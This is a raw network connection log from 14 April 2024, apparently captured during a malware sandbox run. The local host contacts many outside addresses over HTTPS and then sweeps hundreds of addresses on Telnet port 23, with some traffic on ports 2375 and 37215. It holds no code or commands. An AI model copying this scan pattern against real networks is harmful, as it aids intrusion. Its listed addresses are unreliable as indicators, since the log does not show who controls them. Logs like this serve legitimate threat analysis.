Apr 14, 2024 03:59:49.710181952 CEST	34618	443	192.168.2.13	37.96.167.34
Apr 14, 2024 03:59:49.710181952 CEST	34618	443	192.168.2.13	37.96.167.34
Apr 14, 2024 03:59:49.710186958 CEST	443	44712	109.255.239.237	192.168.2.13
Apr 14, 2024 03:59:49.710196972 CEST	443	34618	37.96.167.34	192.168.2.13
Apr 14, 2024 03:59:49.710207939 CEST	34914	443	192.168.2.13	178.65.184.174
Apr 14, 2024 03:59:49.710212946 CEST	443	52712	5.31.117.185	192.168.2.13
Apr 14, 2024 03:59:49.710222006 CEST	443	34618	37.96.167.34	192.168.2.13
Apr 14, 2024 03:59:49.710231066 CEST	443	34914	178.65.184.174	192.168.2.13
Apr 14, 2024 03:59:49.710252047 CEST	34914	443	192.168.2.13	178.65.184.174
Apr 14, 2024 03:59:49.710252047 CEST	51220	443	192.168.2.13	79.151.226.217
Apr 14, 2024 03:59:49.710252047 CEST	51220	443	192.168.2.13	79.151.226.217
Apr 14, 2024 03:59:49.710270882 CEST	443	34914	178.65.184.174	192.168.2.13
Apr 14, 2024 03:59:49.710274935 CEST	443	34914	178.65.184.174	192.168.2.13
Apr 14, 2024 03:59:49.710284948 CEST	50958	443	192.168.2.13	202.23.9.99
Apr 14, 2024 03:59:49.710288048 CEST	443	51220	79.151.226.217	192.168.2.13
Apr 14, 2024 03:59:49.710299969 CEST	46410	443	192.168.2.13	210.122.244.13
Apr 14, 2024 03:59:49.710300922 CEST	443	50958	202.23.9.99	192.168.2.13
Apr 14, 2024 03:59:49.710309982 CEST	443	51220	79.151.226.217	192.168.2.13
Apr 14, 2024 03:59:49.710309982 CEST	58052	443	192.168.2.13	94.43.64.35
Apr 14, 2024 03:59:49.710319042 CEST	443	50958	202.23.9.99	192.168.2.13
Apr 14, 2024 03:59:49.710311890 CEST	50958	443	192.168.2.13	202.23.9.99
Apr 14, 2024 03:59:49.710310936 CEST	443	46410	210.122.244.13	192.168.2.13
Apr 14, 2024 03:59:49.710309982 CEST	58052	443	192.168.2.13	94.43.64.35
Apr 14, 2024 03:59:49.710328102 CEST	35056	443	192.168.2.13	117.246.62.195
Apr 14, 2024 03:59:49.710331917 CEST	46410	443	192.168.2.13	210.122.244.13
Apr 14, 2024 03:59:49.710334063 CEST	443	50958	202.23.9.99	192.168.2.13
Apr 14, 2024 03:59:49.710339069 CEST	443	46410	210.122.244.13	192.168.2.13
Apr 14, 2024 03:59:49.710341930 CEST	443	35056	117.246.62.195	192.168.2.13
Apr 14, 2024 03:59:49.710341930 CEST	443	58052	94.43.64.35	192.168.2.13
Apr 14, 2024 03:59:49.710361004 CEST	35056	443	192.168.2.13	117.246.62.195
Apr 14, 2024 03:59:49.710366964 CEST	443	58052	94.43.64.35	192.168.2.13
Apr 14, 2024 03:59:49.710382938 CEST	45040	443	192.168.2.13	109.138.200.251
Apr 14, 2024 03:59:49.710397959 CEST	443	35056	117.246.62.195	192.168.2.13
Apr 14, 2024 03:59:49.710412979 CEST	443	45040	109.138.200.251	192.168.2.13
Apr 14, 2024 03:59:49.710424900 CEST	45040	443	192.168.2.13	109.138.200.251
Apr 14, 2024 03:59:49.710434914 CEST	50500	443	192.168.2.13	109.189.217.184
Apr 14, 2024 03:59:49.710436106 CEST	443	45040	109.138.200.251	192.168.2.13
Apr 14, 2024 03:59:49.710434914 CEST	50500	443	192.168.2.13	109.189.217.184
Apr 14, 2024 03:59:49.710464954 CEST	443	50500	109.189.217.184	192.168.2.13
Apr 14, 2024 03:59:49.710493088 CEST	43590	443	192.168.2.13	37.32.192.157
Apr 14, 2024 03:59:49.710494041 CEST	58346	443	192.168.2.13	212.17.21.83
Apr 14, 2024 03:59:49.710493088 CEST	43590	443	192.168.2.13	37.32.192.157
Apr 14, 2024 03:59:49.710514069 CEST	443	43590	37.32.192.157	192.168.2.13
Apr 14, 2024 03:59:49.710516930 CEST	443	58346	212.17.21.83	192.168.2.13
Apr 14, 2024 03:59:49.710530043 CEST	58346	443	192.168.2.13	212.17.21.83
Apr 14, 2024 03:59:49.710530043 CEST	41962	443	192.168.2.13	2.141.99.181
Apr 14, 2024 03:59:49.710530043 CEST	41962	443	192.168.2.13	2.141.99.181
Apr 14, 2024 03:59:49.710539103 CEST	443	43590	37.32.192.157	192.168.2.13
Apr 14, 2024 03:59:49.710550070 CEST	443	41962	2.141.99.181	192.168.2.13
Apr 14, 2024 03:59:49.710551977 CEST	33950	443	192.168.2.13	79.184.187.56
Apr 14, 2024 03:59:49.710555077 CEST	443	50500	109.189.217.184	192.168.2.13
Apr 14, 2024 03:59:49.710572958 CEST	443	33950	79.184.187.56	192.168.2.13
Apr 14, 2024 03:59:49.710577965 CEST	53482	443	192.168.2.13	123.23.52.95
Apr 14, 2024 03:59:49.710587978 CEST	443	58346	212.17.21.83	192.168.2.13
Apr 14, 2024 03:59:49.710592985 CEST	443	41962	2.141.99.181	192.168.2.13
Apr 14, 2024 03:59:49.710601091 CEST	33950	443	192.168.2.13	79.184.187.56
Apr 14, 2024 03:59:49.710606098 CEST	53482	443	192.168.2.13	123.23.52.95
Apr 14, 2024 03:59:49.710616112 CEST	443	53482	123.23.52.95	192.168.2.13
Apr 14, 2024 03:59:49.710628986 CEST	57110	443	192.168.2.13	42.2.99.52
Apr 14, 2024 03:59:49.710633993 CEST	443	53482	123.23.52.95	192.168.2.13
Apr 14, 2024 03:59:49.710644007 CEST	443	33950	79.184.187.56	192.168.2.13
Apr 14, 2024 03:59:49.710644960 CEST	443	57110	42.2.99.52	192.168.2.13
Apr 14, 2024 03:59:49.710659981 CEST	43778	443	192.168.2.13	117.249.255.48
Apr 14, 2024 03:59:49.710660934 CEST	443	57110	42.2.99.52	192.168.2.13
Apr 14, 2024 03:59:49.710674047 CEST	443	43778	117.249.255.48	192.168.2.13
Apr 14, 2024 03:59:49.710680962 CEST	57110	443	192.168.2.13	42.2.99.52
Apr 14, 2024 03:59:49.710689068 CEST	443	57110	42.2.99.52	192.168.2.13
Apr 14, 2024 03:59:49.710697889 CEST	43778	443	192.168.2.13	117.249.255.48
Apr 14, 2024 03:59:49.710711002 CEST	38422	443	192.168.2.13	2.178.60.91
Apr 14, 2024 03:59:49.710716963 CEST	443	38422	2.178.60.91	192.168.2.13
Apr 14, 2024 03:59:49.710728884 CEST	38422	443	192.168.2.13	2.178.60.91
Apr 14, 2024 03:59:49.710743904 CEST	45916	443	192.168.2.13	2.183.173.154
Apr 14, 2024 03:59:49.710743904 CEST	45916	443	192.168.2.13	2.183.173.154
Apr 14, 2024 03:59:49.710751057 CEST	443	45916	2.183.173.154	192.168.2.13
Apr 14, 2024 03:59:49.710772038 CEST	44658	443	192.168.2.13	94.42.190.169
Apr 14, 2024 03:59:49.710772038 CEST	44658	443	192.168.2.13	94.42.190.169
Apr 14, 2024 03:59:49.710777998 CEST	443	44658	94.42.190.169	192.168.2.13
Apr 14, 2024 03:59:49.710802078 CEST	40484	443	192.168.2.13	5.1.218.89
Apr 14, 2024 03:59:49.710802078 CEST	40484	443	192.168.2.13	5.1.218.89
Apr 14, 2024 03:59:49.710808992 CEST	443	40484	5.1.218.89	192.168.2.13
Apr 14, 2024 03:59:49.710829973 CEST	37402	443	192.168.2.13	5.195.167.107
Apr 14, 2024 03:59:49.710829973 CEST	37402	443	192.168.2.13	5.195.167.107
Apr 14, 2024 03:59:49.710840940 CEST	47776	443	192.168.2.13	37.66.152.172
Apr 14, 2024 03:59:49.710840940 CEST	443	37402	5.195.167.107	192.168.2.13
Apr 14, 2024 03:59:49.710845947 CEST	443	47776	37.66.152.172	192.168.2.13
Apr 14, 2024 03:59:49.710860014 CEST	47776	443	192.168.2.13	37.66.152.172
Apr 14, 2024 03:59:49.710870028 CEST	48258	443	192.168.2.13	202.94.174.249
Apr 14, 2024 03:59:49.710875034 CEST	443	48258	202.94.174.249	192.168.2.13
Apr 14, 2024 03:59:49.710885048 CEST	48258	443	192.168.2.13	202.94.174.249
Apr 14, 2024 03:59:49.710894108 CEST	41034	443	192.168.2.13	178.149.9.93
Apr 14, 2024 03:59:49.710897923 CEST	443	41034	178.149.9.93	192.168.2.13
Apr 14, 2024 03:59:49.710915089 CEST	41034	443	192.168.2.13	178.149.9.93
Apr 14, 2024 03:59:49.710933924 CEST	49102	443	192.168.2.13	118.118.215.84
Apr 14, 2024 03:59:49.710933924 CEST	49102	443	192.168.2.13	118.118.215.84
Apr 14, 2024 03:59:49.710939884 CEST	443	49102	118.118.215.84	192.168.2.13
Apr 14, 2024 03:59:49.710954905 CEST	44024	443	192.168.2.13	117.204.177.104
Apr 14, 2024 03:59:49.710959911 CEST	443	44024	117.204.177.104	192.168.2.13
Apr 14, 2024 03:59:49.710978985 CEST	44024	443	192.168.2.13	117.204.177.104
Apr 14, 2024 03:59:49.710992098 CEST	51066	443	192.168.2.13	117.156.39.21
Apr 14, 2024 03:59:49.710998058 CEST	443	51066	117.156.39.21	192.168.2.13
Apr 14, 2024 03:59:49.711010933 CEST	51066	443	192.168.2.13	117.156.39.21
Apr 14, 2024 03:59:49.711011887 CEST	45380	443	192.168.2.13	2.253.230.167
Apr 14, 2024 03:59:49.711019039 CEST	443	45380	2.253.230.167	192.168.2.13
Apr 14, 2024 03:59:49.711031914 CEST	45380	443	192.168.2.13	2.253.230.167
Apr 14, 2024 03:59:49.711046934 CEST	35500	443	192.168.2.13	2.7.176.13
Apr 14, 2024 03:59:49.711051941 CEST	443	35500	2.7.176.13	192.168.2.13
Apr 14, 2024 03:59:49.711066008 CEST	35500	443	192.168.2.13	2.7.176.13
Apr 14, 2024 03:59:49.711095095 CEST	55794	443	192.168.2.13	202.14.138.194
Apr 14, 2024 03:59:49.711095095 CEST	55794	443	192.168.2.13	202.14.138.194
Apr 14, 2024 03:59:49.711100101 CEST	443	55794	202.14.138.194	192.168.2.13
Apr 14, 2024 03:59:49.711127043 CEST	55660	443	192.168.2.13	117.6.222.109
Apr 14, 2024 03:59:49.711127043 CEST	55660	443	192.168.2.13	117.6.222.109
Apr 14, 2024 03:59:49.711133003 CEST	443	55660	117.6.222.109	192.168.2.13
Apr 14, 2024 03:59:49.711139917 CEST	51550	443	192.168.2.13	79.6.173.150
Apr 14, 2024 03:59:49.711148024 CEST	443	51550	79.6.173.150	192.168.2.13
Apr 14, 2024 03:59:49.711169958 CEST	51550	443	192.168.2.13	79.6.173.150
Apr 14, 2024 03:59:49.711177111 CEST	33934	443	192.168.2.13	118.23.62.36
Apr 14, 2024 03:59:49.711178064 CEST	33934	443	192.168.2.13	118.23.62.36
Apr 14, 2024 03:59:49.711183071 CEST	443	33934	118.23.62.36	192.168.2.13
Apr 14, 2024 03:59:49.711215019 CEST	53216	443	192.168.2.13	42.191.173.80
Apr 14, 2024 03:59:49.711215973 CEST	53216	443	192.168.2.13	42.191.173.80
Apr 14, 2024 03:59:49.711215973 CEST	36642	443	192.168.2.13	118.94.26.153
Apr 14, 2024 03:59:49.711224079 CEST	443	53216	42.191.173.80	192.168.2.13
Apr 14, 2024 03:59:49.711235046 CEST	443	36642	118.94.26.153	192.168.2.13
Apr 14, 2024 03:59:49.711245060 CEST	36642	443	192.168.2.13	118.94.26.153
Apr 14, 2024 03:59:49.728362083 CEST	443	38422	2.178.60.91	192.168.2.13
Apr 14, 2024 03:59:49.728372097 CEST	443	44658	94.42.190.169	192.168.2.13
Apr 14, 2024 03:59:49.728379011 CEST	443	43778	117.249.255.48	192.168.2.13
Apr 14, 2024 03:59:49.728400946 CEST	443	40484	5.1.218.89	192.168.2.13
Apr 14, 2024 03:59:49.728400946 CEST	443	45916	2.183.173.154	192.168.2.13
Apr 14, 2024 03:59:49.728419065 CEST	443	48258	202.94.174.249	192.168.2.13
Apr 14, 2024 03:59:49.728436947 CEST	443	37402	5.195.167.107	192.168.2.13
Apr 14, 2024 03:59:49.728439093 CEST	443	41034	178.149.9.93	192.168.2.13
Apr 14, 2024 03:59:49.728445053 CEST	443	49102	118.118.215.84	192.168.2.13
Apr 14, 2024 03:59:49.728456974 CEST	443	47776	37.66.152.172	192.168.2.13
Apr 14, 2024 03:59:49.728468895 CEST	443	44024	117.204.177.104	192.168.2.13
Apr 14, 2024 03:59:49.728496075 CEST	443	45380	2.253.230.167	192.168.2.13
Apr 14, 2024 03:59:49.728496075 CEST	443	51066	117.156.39.21	192.168.2.13
Apr 14, 2024 03:59:49.728509903 CEST	443	35500	2.7.176.13	192.168.2.13
Apr 14, 2024 03:59:49.728540897 CEST	443	55794	202.14.138.194	192.168.2.13
Apr 14, 2024 03:59:49.728549957 CEST	443	55660	117.6.222.109	192.168.2.13
Apr 14, 2024 03:59:49.728573084 CEST	443	33934	118.23.62.36	192.168.2.13
Apr 14, 2024 03:59:49.728580952 CEST	443	51550	79.6.173.150	192.168.2.13
Apr 14, 2024 03:59:49.728619099 CEST	443	53216	42.191.173.80	192.168.2.13
Apr 14, 2024 03:59:49.728626013 CEST	443	36642	118.94.26.153	192.168.2.13
Apr 14, 2024 03:59:49.862760067 CEST	52758	59666	192.168.2.13	37.44.238.94
Apr 14, 2024 03:59:49.895823002 CEST	80	2375	209.23.179.15	192.168.2.13
Apr 14, 2024 03:59:49.970776081 CEST	23	2631	210.104.246.236	192.168.2.13
Apr 14, 2024 03:59:49.971251965 CEST	23	2631	223.223.209.218	192.168.2.13
Apr 14, 2024 03:59:49.988291979 CEST	23	2631	222.117.124.100	192.168.2.13
Apr 14, 2024 03:59:49.991915941 CEST	80	2375	106.240.246.73	192.168.2.13
Apr 14, 2024 03:59:49.998348951 CEST	23	2631	61.153.53.250	192.168.2.13
Apr 14, 2024 03:59:49.998491049 CEST	2631	23	192.168.2.13	61.153.53.250
Apr 14, 2024 03:59:49.999819994 CEST	80	2375	141.3.29.81	192.168.2.13
Apr 14, 2024 03:59:50.004290104 CEST	80	2375	154.212.215.50	192.168.2.13
Apr 14, 2024 03:59:50.004369020 CEST	2375	80	192.168.2.13	154.212.215.50
Apr 14, 2024 03:59:50.025031090 CEST	23	2631	189.108.45.249	192.168.2.13
Apr 14, 2024 03:59:50.025103092 CEST	2631	23	192.168.2.13	189.108.45.249
Apr 14, 2024 03:59:50.025949001 CEST	80	2375	85.116.158.79	192.168.2.13
Apr 14, 2024 03:59:50.026011944 CEST	2375	80	192.168.2.13	85.116.158.79
Apr 14, 2024 03:59:50.026743889 CEST	23	2631	52.77.249.251	192.168.2.13
Apr 14, 2024 03:59:50.027122021 CEST	80	2375	197.147.147.213	192.168.2.13
Apr 14, 2024 03:59:50.033222914 CEST	23	2631	112.244.31.230	192.168.2.13
Apr 14, 2024 03:59:50.038878918 CEST	80	2375	32.114.116.98	192.168.2.13
Apr 14, 2024 03:59:50.054061890 CEST	80	2375	171.245.204.254	192.168.2.13
Apr 14, 2024 03:59:50.078142881 CEST	37215	1863	197.129.98.45	192.168.2.13
Apr 14, 2024 03:59:50.088915110 CEST	37215	1863	197.159.133.196	192.168.2.13
Apr 14, 2024 03:59:50.122888088 CEST	23	2631	46.210.82.252	192.168.2.13
Apr 14, 2024 03:59:50.171791077 CEST	59666	52758	37.44.238.94	192.168.2.13
Apr 14, 2024 03:59:50.171981096 CEST	52758	59666	192.168.2.13	37.44.238.94
Apr 14, 2024 03:59:50.171981096 CEST	52758	59666	192.168.2.13	37.44.238.94
Apr 14, 2024 03:59:50.476022005 CEST	59666	52758	37.44.238.94	192.168.2.13
Apr 14, 2024 03:59:50.476207018 CEST	52758	59666	192.168.2.13	37.44.238.94
Apr 14, 2024 03:59:50.675298929 CEST	2631	23	192.168.2.13	193.108.182.123
Apr 14, 2024 03:59:50.675297976 CEST	2631	23	192.168.2.13	131.125.65.91
Apr 14, 2024 03:59:50.675333977 CEST	2631	23	192.168.2.13	165.169.159.93
Apr 14, 2024 03:59:50.675333977 CEST	2631	23	192.168.2.13	49.151.238.85
Apr 14, 2024 03:59:50.675333977 CEST	2631	23	192.168.2.13	39.34.245.168
Apr 14, 2024 03:59:50.675340891 CEST	2631	23	192.168.2.13	204.39.184.250
Apr 14, 2024 03:59:50.675340891 CEST	2631	23	192.168.2.13	96.237.42.140
Apr 14, 2024 03:59:50.675343990 CEST	2631	23	192.168.2.13	80.220.224.3
Apr 14, 2024 03:59:50.675345898 CEST	2631	23	192.168.2.13	25.154.48.244
Apr 14, 2024 03:59:50.675344944 CEST	2631	23	192.168.2.13	4.221.0.167
Apr 14, 2024 03:59:50.675345898 CEST	2631	23	192.168.2.13	71.67.175.37
Apr 14, 2024 03:59:50.675345898 CEST	2631	23	192.168.2.13	117.214.32.100
Apr 14, 2024 03:59:50.675345898 CEST	2631	23	192.168.2.13	60.85.236.149
Apr 14, 2024 03:59:50.675359964 CEST	2631	23	192.168.2.13	204.165.146.223
Apr 14, 2024 03:59:50.675359964 CEST	2631	23	192.168.2.13	99.219.87.161
Apr 14, 2024 03:59:50.675359964 CEST	2631	23	192.168.2.13	23.70.13.53
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	20.34.158.221
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	20.193.94.236
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	98.49.14.197
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	8.158.232.235
Apr 14, 2024 03:59:50.675371885 CEST	2631	23	192.168.2.13	75.192.69.162
Apr 14, 2024 03:59:50.675371885 CEST	2631	23	192.168.2.13	180.52.24.48
Apr 14, 2024 03:59:50.675371885 CEST	2631	23	192.168.2.13	154.218.96.136
Apr 14, 2024 03:59:50.675371885 CEST	2631	23	192.168.2.13	52.8.252.98
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	88.170.79.217
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	167.122.218.226
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	149.167.26.14
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	130.241.15.194
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	164.101.145.187
Apr 14, 2024 03:59:50.675370932 CEST	2631	23	192.168.2.13	88.35.186.137
Apr 14, 2024 03:59:50.675406933 CEST	2631	23	192.168.2.13	121.210.235.129
Apr 14, 2024 03:59:50.675406933 CEST	2631	23	192.168.2.13	117.97.105.140
Apr 14, 2024 03:59:50.675406933 CEST	2631	23	192.168.2.13	180.5.75.115
Apr 14, 2024 03:59:50.675406933 CEST	2631	23	192.168.2.13	89.42.251.68
Apr 14, 2024 03:59:50.675406933 CEST	2631	23	192.168.2.13	198.10.201.20
Apr 14, 2024 03:59:50.675414085 CEST	2631	23	192.168.2.13	19.81.36.128
Apr 14, 2024 03:59:50.675414085 CEST	2631	23	192.168.2.13	183.9.101.146
Apr 14, 2024 03:59:50.675414085 CEST	2631	23	192.168.2.13	24.147.238.134
Apr 14, 2024 03:59:50.675414085 CEST	2631	23	192.168.2.13	156.157.176.150
Apr 14, 2024 03:59:50.675414085 CEST	2631	23	192.168.2.13	65.214.149.218
Apr 14, 2024 03:59:50.675414085 CEST	2631	23	192.168.2.13	43.73.73.135
Apr 14, 2024 03:59:50.675414085 CEST	2631	23	192.168.2.13	130.222.73.162
Apr 14, 2024 03:59:50.675414085 CEST	2631	23	192.168.2.13	94.226.179.87
Apr 14, 2024 03:59:50.675420046 CEST	2631	23	192.168.2.13	104.234.121.103
Apr 14, 2024 03:59:50.675420046 CEST	2631	23	192.168.2.13	74.167.224.181
Apr 14, 2024 03:59:50.675421000 CEST	2631	23	192.168.2.13	94.54.238.112
Apr 14, 2024 03:59:50.675431013 CEST	2631	23	192.168.2.13	158.135.112.67
Apr 14, 2024 03:59:50.675431013 CEST	2631	23	192.168.2.13	96.57.195.207
Apr 14, 2024 03:59:50.675431013 CEST	2631	23	192.168.2.13	68.114.55.244
Apr 14, 2024 03:59:50.675431013 CEST	2631	23	192.168.2.13	109.205.32.1
Apr 14, 2024 03:59:50.675431013 CEST	2631	23	192.168.2.13	175.176.129.155
Apr 14, 2024 03:59:50.675431013 CEST	2631	23	192.168.2.13	116.196.117.191
Apr 14, 2024 03:59:50.675431967 CEST	2631	23	192.168.2.13	24.112.123.124
Apr 14, 2024 03:59:50.675447941 CEST	2631	23	192.168.2.13	153.174.218.18
Apr 14, 2024 03:59:50.675447941 CEST	2631	23	192.168.2.13	186.169.43.79
Apr 14, 2024 03:59:50.675447941 CEST	2631	23	192.168.2.13	40.48.171.160
Apr 14, 2024 03:59:50.675448895 CEST	2631	23	192.168.2.13	148.107.140.126
Apr 14, 2024 03:59:50.675448895 CEST	2631	23	192.168.2.13	77.224.222.76
Apr 14, 2024 03:59:50.675448895 CEST	2631	23	192.168.2.13	157.38.219.33
Apr 14, 2024 03:59:50.675448895 CEST	2631	23	192.168.2.13	118.247.64.55
Apr 14, 2024 03:59:50.675450087 CEST	2631	23	192.168.2.13	188.2.214.37
Apr 14, 2024 03:59:50.675450087 CEST	2631	23	192.168.2.13	141.163.238.126
Apr 14, 2024 03:59:50.675450087 CEST	2631	23	192.168.2.13	44.234.39.114
Apr 14, 2024 03:59:50.675450087 CEST	2631	23	192.168.2.13	84.36.58.202
Apr 14, 2024 03:59:50.675450087 CEST	2631	23	192.168.2.13	69.57.117.138
Apr 14, 2024 03:59:50.675451040 CEST	2631	23	192.168.2.13	110.146.39.98
Apr 14, 2024 03:59:50.675451040 CEST	2631	23	192.168.2.13	211.172.174.172
Apr 14, 2024 03:59:50.675466061 CEST	2631	23	192.168.2.13	109.56.199.236
Apr 14, 2024 03:59:50.675466061 CEST	2631	23	192.168.2.13	125.138.96.43
Apr 14, 2024 03:59:50.675466061 CEST	2631	23	192.168.2.13	192.143.91.25
Apr 14, 2024 03:59:50.675466061 CEST	2631	23	192.168.2.13	8.101.78.172
Apr 14, 2024 03:59:50.675466061 CEST	2631	23	192.168.2.13	169.240.158.232
Apr 14, 2024 03:59:50.675466061 CEST	2631	23	192.168.2.13	221.230.79.254
Apr 14, 2024 03:59:50.675466061 CEST	2631	23	192.168.2.13	81.91.195.118
Apr 14, 2024 03:59:50.675491095 CEST	2631	23	192.168.2.13	107.191.67.34
Apr 14, 2024 03:59:50.675491095 CEST	2631	23	192.168.2.13	52.239.147.59
Apr 14, 2024 03:59:50.675491095 CEST	2631	23	192.168.2.13	182.248.47.131
Apr 14, 2024 03:59:50.675491095 CEST	2631	23	192.168.2.13	45.22.133.255
Apr 14, 2024 03:59:50.675491095 CEST	2631	23	192.168.2.13	19.66.81.7
Apr 14, 2024 03:59:50.675491095 CEST	2631	23	192.168.2.13	86.114.68.153
Apr 14, 2024 03:59:50.675491095 CEST	2631	23	192.168.2.13	120.197.119.107
Apr 14, 2024 03:59:50.675491095 CEST	2631	23	192.168.2.13	46.13.61.31
Apr 14, 2024 03:59:50.675513983 CEST	2631	23	192.168.2.13	39.105.23.242
Apr 14, 2024 03:59:50.675513983 CEST	2631	23	192.168.2.13	176.216.92.185
Apr 14, 2024 03:59:50.675513983 CEST	2631	23	192.168.2.13	203.186.195.99
Apr 14, 2024 03:59:50.675513983 CEST	2631	23	192.168.2.13	82.142.231.158
Apr 14, 2024 03:59:50.675513983 CEST	2631	23	192.168.2.13	69.143.131.38
Apr 14, 2024 03:59:50.675513983 CEST	2631	23	192.168.2.13	34.189.211.181
Apr 14, 2024 03:59:50.675513983 CEST	2631	23	192.168.2.13	187.48.70.54
Apr 14, 2024 03:59:50.675513983 CEST	2631	23	192.168.2.13	74.249.81.49
Apr 14, 2024 03:59:50.675524950 CEST	2631	23	192.168.2.13	139.48.14.151
Apr 14, 2024 03:59:50.675524950 CEST	2631	23	192.168.2.13	123.231.100.39
Apr 14, 2024 03:59:50.675524950 CEST	2631	23	192.168.2.13	186.215.51.84
Apr 14, 2024 03:59:50.675524950 CEST	2631	23	192.168.2.13	185.72.79.104
Apr 14, 2024 03:59:50.675524950 CEST	2631	23	192.168.2.13	201.108.18.225
Apr 14, 2024 03:59:50.675524950 CEST	2631	23	192.168.2.13	123.64.122.222
Apr 14, 2024 03:59:50.675524950 CEST	2631	23	192.168.2.13	58.53.170.145
Apr 14, 2024 03:59:50.675524950 CEST	2631	23	192.168.2.13	191.4.21.210
Apr 14, 2024 03:59:50.675533056 CEST	2631	23	192.168.2.13	187.233.15.113
Apr 14, 2024 03:59:50.675533056 CEST	2631	23	192.168.2.13	150.207.12.67
Apr 14, 2024 03:59:50.675533056 CEST	2631	23	192.168.2.13	86.170.203.100
Apr 14, 2024 03:59:50.675533056 CEST	2631	23	192.168.2.13	218.0.187.216
Apr 14, 2024 03:59:50.675533056 CEST	2631	23	192.168.2.13	78.149.225.44
Apr 14, 2024 03:59:50.675533056 CEST	2631	23	192.168.2.13	58.52.118.146
Apr 14, 2024 03:59:50.675533056 CEST	2631	23	192.168.2.13	117.31.174.188
Apr 14, 2024 03:59:50.675551891 CEST	2631	23	192.168.2.13	32.98.11.205
Apr 14, 2024 03:59:50.675551891 CEST	2631	23	192.168.2.13	119.120.4.132
Apr 14, 2024 03:59:50.675551891 CEST	2631	23	192.168.2.13	78.24.161.255
Apr 14, 2024 03:59:50.675551891 CEST	2631	23	192.168.2.13	200.249.113.32
Apr 14, 2024 03:59:50.675551891 CEST	2631	23	192.168.2.13	152.150.237.199
Apr 14, 2024 03:59:50.675551891 CEST	2631	23	192.168.2.13	9.94.255.112
Apr 14, 2024 03:59:50.675551891 CEST	2631	23	192.168.2.13	14.99.80.189
Apr 14, 2024 03:59:50.675551891 CEST	2631	23	192.168.2.13	161.170.22.226
Apr 14, 2024 03:59:50.675555944 CEST	2631	23	192.168.2.13	13.12.228.231
Apr 14, 2024 03:59:50.675555944 CEST	2631	23	192.168.2.13	143.141.199.68
Apr 14, 2024 03:59:50.675559044 CEST	2631	23	192.168.2.13	173.185.55.123
Apr 14, 2024 03:59:50.675559044 CEST	2631	23	192.168.2.13	17.51.42.232
Apr 14, 2024 03:59:50.675559044 CEST	2631	23	192.168.2.13	131.9.56.101
Apr 14, 2024 03:59:50.675559044 CEST	2631	23	192.168.2.13	186.106.53.243
Apr 14, 2024 03:59:50.675559044 CEST	2631	23	192.168.2.13	97.136.190.67
Apr 14, 2024 03:59:50.675559044 CEST	2631	23	192.168.2.13	104.107.224.145
Apr 14, 2024 03:59:50.675559044 CEST	2631	23	192.168.2.13	183.59.191.42
Apr 14, 2024 03:59:50.675559044 CEST	2631	23	192.168.2.13	202.91.146.166
Apr 14, 2024 03:59:50.675582886 CEST	2631	23	192.168.2.13	80.90.82.22
Apr 14, 2024 03:59:50.675582886 CEST	2631	23	192.168.2.13	180.55.222.66
Apr 14, 2024 03:59:50.675582886 CEST	2631	23	192.168.2.13	119.80.85.83
Apr 14, 2024 03:59:50.675582886 CEST	2631	23	192.168.2.13	51.112.129.233
Apr 14, 2024 03:59:50.675582886 CEST	2631	23	192.168.2.13	179.26.16.100
Apr 14, 2024 03:59:50.675582886 CEST	2631	23	192.168.2.13	113.65.41.60
Apr 14, 2024 03:59:50.675582886 CEST	2631	23	192.168.2.13	48.60.242.45
Apr 14, 2024 03:59:50.675582886 CEST	2631	23	192.168.2.13	87.53.160.1
Apr 14, 2024 03:59:50.675612926 CEST	2631	23	192.168.2.13	24.55.113.60
Apr 14, 2024 03:59:50.675614119 CEST	2631	23	192.168.2.13	106.162.178.67
Apr 14, 2024 03:59:50.675614119 CEST	2631	23	192.168.2.13	101.77.118.129
Apr 14, 2024 03:59:50.675614119 CEST	2631	23	192.168.2.13	34.240.207.18
Apr 14, 2024 03:59:50.675614119 CEST	2631	23	192.168.2.13	67.157.217.124
Apr 14, 2024 03:59:50.675614119 CEST	2631	23	192.168.2.13	159.95.8.84
Apr 14, 2024 03:59:50.675614119 CEST	2631	23	192.168.2.13	85.198.99.84
Apr 14, 2024 03:59:50.675620079 CEST	2631	23	192.168.2.13	58.210.243.60
Apr 14, 2024 03:59:50.675620079 CEST	2631	23	192.168.2.13	170.131.234.20
Apr 14, 2024 03:59:50.675647974 CEST	2631	23	192.168.2.13	66.165.56.12
Apr 14, 2024 03:59:50.675647974 CEST	2631	23	192.168.2.13	90.133.26.198
Apr 14, 2024 03:59:50.675647974 CEST	2631	23	192.168.2.13	13.83.81.8
Apr 14, 2024 03:59:50.675647974 CEST	2631	23	192.168.2.13	119.80.126.225
Apr 14, 2024 03:59:50.675647974 CEST	2631	23	192.168.2.13	209.24.95.57
Apr 14, 2024 03:59:50.675647974 CEST	2631	23	192.168.2.13	102.64.34.15
Apr 14, 2024 03:59:50.675647974 CEST	2631	23	192.168.2.13	202.0.28.249
Apr 14, 2024 03:59:50.675648928 CEST	2631	23	192.168.2.13	69.155.239.219
Apr 14, 2024 03:59:50.675657988 CEST	2631	23	192.168.2.13	197.151.166.155
Apr 14, 2024 03:59:50.675657988 CEST	2631	23	192.168.2.13	178.116.225.204
Apr 14, 2024 03:59:50.675664902 CEST	2631	23	192.168.2.13	149.236.215.143
Apr 14, 2024 03:59:50.675664902 CEST	2631	23	192.168.2.13	106.17.59.101
Apr 14, 2024 03:59:50.675666094 CEST	2631	23	192.168.2.13	102.70.217.5
Apr 14, 2024 03:59:50.675664902 CEST	2631	23	192.168.2.13	90.172.140.10
Apr 14, 2024 03:59:50.675666094 CEST	2631	23	192.168.2.13	92.13.166.94
Apr 14, 2024 03:59:50.675664902 CEST	2631	23	192.168.2.13	163.201.50.125
Apr 14, 2024 03:59:50.675666094 CEST	2631	23	192.168.2.13	17.92.77.67
Apr 14, 2024 03:59:50.675664902 CEST	2631	23	192.168.2.13	113.207.206.64
Apr 14, 2024 03:59:50.675668001 CEST	2631	23	192.168.2.13	171.214.69.52
Apr 14, 2024 03:59:50.675666094 CEST	2631	23	192.168.2.13	137.83.125.0
